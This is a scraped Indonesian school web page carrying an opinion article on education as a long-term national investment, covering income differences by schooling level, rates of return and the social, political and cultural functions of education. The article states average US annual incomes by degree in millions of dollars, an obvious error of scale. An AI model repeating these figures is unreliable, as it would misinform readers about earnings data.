<div class='boxed' margin-top='5px'><img src='http://man2kotacilegon.sch.id//users/profil/kosong.jpg' align='left' style='width:60px; height:70px;margin:auto 5px auto auto;'><span><strong>ahmad (Alumni)</strong><br/><span>2018-12-03 08:44:44</span><br><br><i>MAN 2 Kota Cilegon DJAWARA, Seluruh Siswa dan siswi MAN 2 selemat mengikuti PAS Ganjil, Bagaimana Kabar Alumni tahun 2017/2018 !</i></span></div>
</li>
</ul> </div>
</div>
</div> <!-- kiri konten-->
</div>

<div class="art-layout-cell art-content" style="width:75%">
<article class="art-post art-article">
<div class="art-postmetadataheader">
<h2 class="art-postheader"><span class="art-postheadericon">Artikel</span></h2>
</div>
<div class="art-postcontent art-postcontent-0 clearfix">
<div class="art-content-layout">
<div class="art-content-layout-row"><h3><center>Pendidikan Sebagai Investasi Jangka Panjang</center></h3><br>
<div class='art-postheadericons art-metadata-icons'>
<span class='art-postdateicon'>16-02-2017 14:13</span>
| <span class='art-postauthoricon'>Drs. Nurkolis, MM</span>
| <span class=''>Dibaca: 100 kali</span>
</div>
<hr style='border: dashed 1px;'> <p><center><img class='art-lightbox' src='../images/artikel/gb24.jpg' align='top' hspace='5' width='600' height='300' id='gambar' ></center></p><br><p><p style="text-align: justify;">Profesor Toshiko Kinosita mengemukakan bahwa sumber daya manusia Indonesia masih sangat lemah untuk mendukung perkembangan industri dan ekonomi. Penyebabnya karena pemerintah selama ini tidak pernah menempatkan pendidikan sebagai prioritas terpenting. Tidak ditempatkannya pendidikan sebagai prioritas terpenting karena masyarakat Indonesia, mulai dari yang awam hingga politisi dan pejabat pemerintah, hanya berorientasi mengejar uang untuk memperkaya diri sendiri dan tidak pernah berfikir panjang (Kompas, 24 Mei 2002).<br /><br />Pendapat Guru Besar Universitas Waseda Jepang tersebut sangat menarik untuk dikaji mengingat saat ini pemerintah Indonesia mulai melirik pendidikan sebagai investasi jangka panjang, setelah selama ini pendidikan terabaikan. Salah satu indikatornya adalah telah disetujuinya oleh MPR untuk memprioritaskan anggaran pendidikan minimal 20 % dari APBN atau APBD. Langkah ini merupakan awal kesadaran pentingnya pendidikan sebagai investasi jangka pangjang. Sedikitnya terdapat tiga alasan untuk memprioritaskan pendidikan sebagai investasi jangka panjang.<br /><br />Pertama, pendidikan adalah alat untuk perkembangan ekonomi dan bukan sekedar pertumbuhan ekonomi. Pada praksis manajemen pendidikan modern, salah satu dari lima fungsi pendidikan adalah fungsi teknis-ekonomis baik pada tataran individual hingga tataran global. Fungsi teknis-ekonomis merujuk pada kontribusi pendidikan untuk perkembangan ekonomi. Misalnya pendidikan dapat membantu siswa untuk mendapatkan pengetahuan dan keterampilan yang diperlukan untuk hidup dan berkompetisi dalam ekonomi yang kompetitif.</p>
<p style="text-align: justify;"><img style="display: block; margin-left: auto; margin-right: auto;" src="../files/201702090124.jpg?1487229134529" alt="" width="600" height="400" /><br /><br />Secara umum terbukti bahwa semakin berpendidikan seseorang maka tingkat pendapatannya semakin baik. Hal ini dimungkinkan karena orang yang berpendidikan lebih produktif bila dibandingkan dengan yang tidak berpendidikan. Produktivitas seseorang tersebut dikarenakan dimilikinya keterampilan teknis yang diperoleh dari pendidikan. Oleh karena itu salah satu tujuan yang harus dicapai oleh pendidikan adalah mengembangkan keterampilan hidup. Inilah sebenarnya arah kurikulum berbasis kompetensi, pendidikan life skill dan broad based education yang dikembangkan di Indonesia akhir-akhir ini. Di Amerika Serikat (1992) seseorang yang berpendidikan doktor penghasilan rata-rata per tahun sebesar 55 juta dollar, master 40 juta dollar, dan sarjana 33 juta dollar. Sementara itu lulusan pendidikan lanjutan hanya berpanghasilan rata-rata 19 juta dollar per tahun. Pada tahun yang sama struktur ini juga terjadi di Indonesia. Misalnya rata-rata, antara pedesaan dan perkotaan, pendapatan per tahun lulusan universitas 3,5 juta rupiah, akademi 3 juta rupiah, SLTA 1,9 juta rupiah, dan SD hanya 1,1 juta rupiah.<br /><br />Para penganut teori human capital berpendapat bahwa pendidikan adalah sebagai investasi sumber daya manusia yang memberi manfaat moneter ataupun non-moneter. Manfaat non-meneter dari pendidikan adalah diperolehnya kondisi kerja yang lebih baik, kepuasan kerja, efisiensi konsumsi, kepuasan menikmati masa pensiun dan manfaat hidup yang lebih lama karena peningkatan gizi dan kesehatan. Manfaat moneter adalah manfaat ekonomis yaitu berupa tambahan pendapatan seseorang yang telah menyelesaikan tingkat pendidikan tertentu dibandingkan dengan pendapatan lulusan pendidikan dibawahnya. (Walter W. McMahon dan Terry G. Geske, Financing Education: Overcoming Inefficiency and Inequity, USA: University of Illionis, 1982, h.121).<br /><br />Sumber daya manusia yang berpendidikan akan menjadi modal utama pembangunan nasional, terutama untuk perkembangan ekonomi. Semakin banyak orang yang berpendidikan maka semakin mudah bagi suatu negara untuk membangun bangsanya. Hal ini dikarenakan telah dikuasainya keterampilan, ilmu pengetahuan dan teknologi oleh sumber daya manusianya sehingga pemerintah lebih mudah dalam menggerakkan pembangunan nasional.<br /><br />Nilai<br /><br />Balik Pendidikan<br />Kedua, investasi pendidikan memberikan nilai balik (rate of return) yang lebih tinggi dari pada investasi fisik di bidang lain. Nilai balik pendidikan adalah perbandingan antara total biaya yang dikeluarkan untuk membiayai pendidikan dengan total pendapatan yang akan diperoleh setelah seseorang lulus dan memasuki dunia kerja. Di negara-negara sedang berkembang umumnya menunjukkan nilai balik terhadap investasi pendidikan relatif lebih tinggi dari pada investasi modal fisik yaitu 20 % dibanding 15 %. Sementara itu di negara-negara maju nilai balik investasi pendidikan lebih rendah dibanding investasi modal fisik yaitu 9 % dibanding 13 %. Keadaan ini dapat dijelaskan bahwa dengan jumlah tenaga kerja terdidik yang terampil dan ahli di negara berkembang relatif lebih terbatas jumlahnya dibandingkan dengan kebutuhan sehingga tingkat upah lebih tinggi dan akan menyebabkan nilai balik terhadap pendidikan juga tinggi (Ace Suryadi, Pendidikan, Investasi SDM dan Pembangunan: Isu, Teori dan Aplikasi. Balai Pustaka: Jakarta, 1999, h.247).<br /><br />Pilihan investasi pendidikan juga harus mempertimbangkan tingkatan pendidikan. Di Asia nilai balik sosial pendidikan dasar rata-rata sebesar 27 %, pendidikan menengah 15 %, dan pendidikan tinggi 13 %. Dengan demikian dapat dikemukakan bahwa semakin tinggi tingkat pendidikan seseorang maka manfaat sosialnya semakin kecil. Jelas sekali bahwa pendidikan dasar memberikan manfaat sosial yang paling besar diantara tingkat pendidikan lainnya. Melihat kenyataan ini maka struktur alokasi pembiayaan pendidikan harus direformasi. Pada tahun 1995/1996 misalnya, alokasi biaya pendidikan dari pemerintah Indonesia untuk Sekolah Dasar Negeri per siswa paling kecil yaitu rata-rata hanya sekirat 18.000 rupiah per bulan, sementara itu biaya pendidikan per siswa di Perguruan Tinggi Negeri mendapat alokasi sebesar 66.000 rupiah per bulan. Dirjen Dikti, Satrio Sumantri Brojonegoro suatu ketika mengemukakan bahwa alokasi dana untuk pendidikan tinggi negeri 25 kali lipat dari pendidikan dasar. Hal ini menunjukkan bahwa biaya pendidikan yang lebih banyak dialokasikan pada pendidikan tinggi justru terjadi inefisiensi karena hanya menguntungkan individu dan kurang memberikan manfaat kepada masyarakat.<br /><br />Reformasi alokasi biaya pendidikan ini penting dilakukan mengingat beberapa kajian yang menunjukkan bahwa mayoritas yang menikmati pendidikan di PTN adalah berasal dari masyarakat mampu. Maka model pembiayaan pendidikan selain didasarkan pada jenjang pendidikan (dasar vs tinggi) juga didasarkan pada kekuatan ekonomi siswa (miskin vs kaya). Artinya siswa di PTN yang berasal dari keluarga kaya harus dikenakan biaya pendidikan yang lebih mahal dari pada yang berasal dari keluarga miskin. Model yang ditawarkan ini sesuai dengan kritetia equity dalam pembiayaan pendidikan seperti yang digariskan Unesco.<br /><br />Itulah sebabnya Profesor Kinosita menyarankan bahwa yang diperlukan di Indonesia adalah pendidikan dasar dan bukan pendidikan yang canggih. Proses pendidikan pada pendidikan dasar setidaknnya bertumpu pada empat pilar yaitu learning to know, learning to do, leraning to be dan learning live together yang dapat dicapai melalui delapan kompetensi dasar yaitu membaca, menulis, mendengar, menutur, menghitung, meneliti, menghafal dan menghayal. Anggaran pendidikan nasional seharusnya diprioritaskan untuk mengentaskan pendidikan dasar 9 tahun dan bila perlu diperluas menjadi 12 tahun. Selain itu pendidikan dasar seharusnya &ldquo;benar-benar&rdquo; dibebaskan dari segala beban biaya. Dikatakan &ldquo;benar-benar&rdquo; karena selama ini wajib belajar 9 tahun yang dicanangkan pemerintah tidaklah gratis. Apabila semua anak usia pendidikan dasar sudah terlayani mendapatkan pendidikan tanpa dipungut biaya, barulah anggaran pendidikan dialokasikan untuk pendidikan tingkat selanjutnya.<br /><br />Fungsi<br /><br />Non Ekonomi<br />Ketiga, investasi dalam bidang pendidikan memiliki banyak fungsi selain fungsi teknis-ekonomis yaitu fungsi sosial-kemanusiaan, fungsi politis, fungsi budaya, dan fungsi kependidikan. Fungsi sosial-kemanusiaan merujuk pada kontribusi pendidikan terhadap perkembangan manusia dan hubungan sosial pada berbagai tingkat sosial yang berbeda. Misalnya pada tingkat individual pendidikan membantu siswa untuk mengembangkan dirinya secara psikologis, sosial, fisik dan membantu siswa mengembangkan potensinya semaksimal mungkin (Yin Cheong Cheng, School Effectiveness and School-Based Management: A Mechanism for Development, Washington D.C: The Palmer Press, 1996, h.7).<br /><br />Fungsi politis merujuk pada sumbangan pendidikan terhadap perkembangan politik pada tingkatan sosial yang berbeda. Misalnya pada tingkat individual, pendidikan membantu siswa untuk mengembangkan sikap dan keterampilan kewarganegaraan yang positif untuk melatih warganegara yang benar dan bertanggung jawab. Orang yang berpendidikan diharapkan lebih mengerti hak dan kewajibannya sehingga wawasan dan perilakunya semakin demoktratis. Selain itu orang yang berpendidikan diharapkan memiliki kesadaran dan tanggung jawab terhadap bangsa dan negara lebih baik dibandingkan dengan yang kurang berpendidikan.<br /><br />Fungsi budaya merujuk pada sumbangan pendidikan pada peralihan dan perkembangan budaya pada tingkatan sosial yang berbeda. Pada tingkat individual, pendidikan membantu siswa untuk mengembangkan kreativitasnya, kesadaran estetis serta untuk bersosialisasi dengan norma-norma, nilai-nilai dan keyakinan sosial yang baik. Orang yang berpendidikan diharapkan lebih mampu menghargai atau menghormati perbedaan dan pluralitas budaya sehingga memiliki sikap yang lebih terbuka terhadap keanekaragaman budaya. Dengan demikian semakin banyak orang yang berpendidikan diharapkan akan lebih mudah terjadinya akulturasi budaya yang selanjutnya akan terjadi integrasi budaya nasional atau regional.<br /><br />Fungsi kependidikan merujuk pada sumbangan pendidikan terhadap perkembangan dan pemeliharaan pendidikan pada tingkat sosial yang berbeda. Pada tingkat individual pendidikan membantu siswa belajar cara belajar dan membantu guru cara mengajar. Orang yang berpendidikan diharapkan memiliki kesadaran untuk belajar sepanjang hayat (life long learning), selalu merasa ketinggalan informasi, ilmu pengetahuan serta teknologi sehingga terus terdorong untuk maju dan terus belajar.<br /><br />Di kalangan masyarakat luas juga berlaku pendapat umum bahwa semakin berpendidikan maka makin baik status sosial seseorang dan penghormatan masyarakat terhadap orang yang berpendidikan lebih baik dari pada yang kurang berpendidikan. Orang yang berpendidikan diharapkan bisa menggunakan pemikiran-pemikirannya yang berorientasi pada kepentingan jangka panjang. Orang yang berpendidikan diharapkan tidak memiliki kecenderungan orientasi materi/uang apalagi untuk memperkaya diri sendiri.<br /><br />Kesimpulan<br />Jelaslah bahwa investasi dalam bidang pendidikan tidak semata-mata untuk mendongkrak pertumbuhan ekonomi tetapi lebih luas lagi yaitu perkembangan ekonomi. Selama orde baru kita selalu bangga dengan pertumbuhan ekonomi yang tinggi, namun pertumbuhan ekonomi yang tinggi itu hancur lebur karena tidak didukung oleh adanya sumber daya manusia yang berpendidikan. Orde baru banyak melahirkan orang kaya yang tidak memiliki kejujuran dan keadilan, tetapi lebih banyak lagi melahirkan orang miskin. Akhirnya pertumbuhan ekonomi hanya dinikmati sebagian orang dan dengan tingkat ketergantungan yang amat besar.<br /><br />Perkembangan ekonomi akan tercapai apabila sumber daya manusianya memiliki etika, moral, rasa tanggung jawab, rasa keadilan, jujur, serta menyadari hak dan kewajiban yang kesemuanya itu merupakan indikator hasil pendidikan yang baik. Inilah saatnya bagi negeri ini untuk merenungkan bagaimana merencanakan sebuah sistem pendidikan yang baik untuk mendukung perkembangan ekonomi. Selain itu pendidikan juga sebagai alat pemersatu bangsa yang saat ini sedang diancam perpecahan. Melalui fungsi-fungsi pendidikan di atas yaitu fungsi sosial-kemanusiaan, fungsi politis, fungsi budaya, dan fungsi kependidikan maka negeri ini dapat disatukan kembali. Dari paparan di atas tampak bahwa pendidikan adalah wahana yang amat penting dan strategis untuk perkembangan ekonomi dan integrasi bangsa. Singkatnya pendidikan adalah sebagai investasi jangka panjang yang harus menjadi pilihan utama.<br /><br />Bila demikian, ke arah mana pendidikan negeri ini harus dibawa? Bagaimana merencanakan sebuah sistem pendidikan yang baik? Marilah kita renungkan bersama.<br /><br />Nurkolis, Dosen Akademi Pariwisata Nusantara Jaya di Jakarta.<br /><br />Saya Drs. Nurkolis, MM setuju jika bahan yang dikirim dapat dipasang dan digunakan di Homepage Pendidikan Network dan saya menjamin bahwa bahan ini hasil karya saya sendiri dan sah (tidak ada copyright). .</p></p><br><br><br><b>Share This Post To :</b><br>
<!-- AddThis Button BEGIN -->
<div class='addthis_toolbox addthis_default_style '>
<a class='addthis_button_facebook_like' fb:like:layout='button_count'></a>
<a class='addthis_button_tweet' tw:count='vertikal'></a>
<a class='addthis_button_google_plusone g:plusone:size='tall'></a>
<a class='addthis_button_preferred_rank addthis_button_preferred_1'></a>
<a class='addthis_button_email'></a>
</div>
<script type='text/javascript' src='//s7.addthis.com/js/300/addthis_widget.js#pubid=xa-50dcffd56bd96392'></script>
<!-- AddThis Button END -->

<br><a href='index.php?id=artikel&kode=24' >Kembali ke Atas</a><hr><br>
<h3 class='t'>Artikel Lainnya :</h3><br><ul><li><a href='index.php?id=artikel&kode=23' >Apa Itu Pemanasan Global</a></li><li><a href='index.php?id=artikel&kode=15' >Keuntungan dan Manfaat menggunakan e-Learning bagi Guru dan Siswa</a></li><li><a href='index.php?id=artikel&kode=13' >Tujuan & Manfaat Website bagi Sekolah</a></li><li><a href='index.php?id=artikel&kode=12' >Cara Belajar Efektif</a></li></ul><br><hr><div class='art-postcontent art-postcontent-0 clearfix'>
<h5 class='t'>Silahkan Isi Komentar dari tulisan artikel diatas :</h5><br>
<form action='index.php' method='post' >
<pre>
<p>Nama :<input type='text' name='nama' maxlenght=20 size=30 id='editbox'></p>
<p>E-mail :<input type='text' name='email' maxlenght=20 size=30 id='editbox'></p>
<p>Komentar :<textarea name='komentar' cols='55' rows='5' id='editbox'></textarea></p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img src='../procs/spam.php'>
<p>Kode :<input type='text' name='code' size='12' id='editbox' ></p>
</pre>
<input type='hidden' name='id' value='simkom_artikel'><input type='hidden' name='kode' value='24'><br>
<input type='submit' name='submit' value='Kirim' class='art-button'>&nbsp;<input type='reset' class='art-button' name='reset' value='Ulang'></form></div><br><h5 class='t'>Komentar :</h5><br><br>&nbsp;&nbsp;&nbsp;<a href='index.php?id=artikel&kode=24' >Kembali ke Atas</a><br><br> </div>
</div>

</div>



</article>
</div> <!-- tengah konten-->

</div>
</div>


</div>

<footer class="art-footer">
<a title="RSS" class="art-rss-tag-iconn" style="position:absolute;bottom:25px;left:6px" href="http://man2kotacilegon.sch.id/rss"></a><div style="position:relative;padding-left:10px;padding-right:10px"><p><a href="http://man2kotacilegon.sch.id">Home</a> | <a href="http://man2kotacilegon.sch.id/index.php?id=profil&kode=27&profil=Kontak Sekolah">Kontak Sekolah</a> | <a href="http://man2kotacilegon.sch.id/index.php?id=info">Info Sekolah</a></p>
<p>Copyright &copy; 2018 <a href="http://man2kotacilegon.sch.id" >MADRASAH ALIYAH NEGERI 2 KOTA CILEGON</a><br>
Alamat &copy; Jl. Kaserangan Link. Bujanggadung Kel. Rawaarum Kec. Gerogol Kota Cilegon versi 181016 <br/> Mozilla Firefox 1024 x 768 resolution.</p></div>
</footer>

</div>
<p class="art-page-footer">
</p>
</div>

</body></html>


   Kembali ke Atas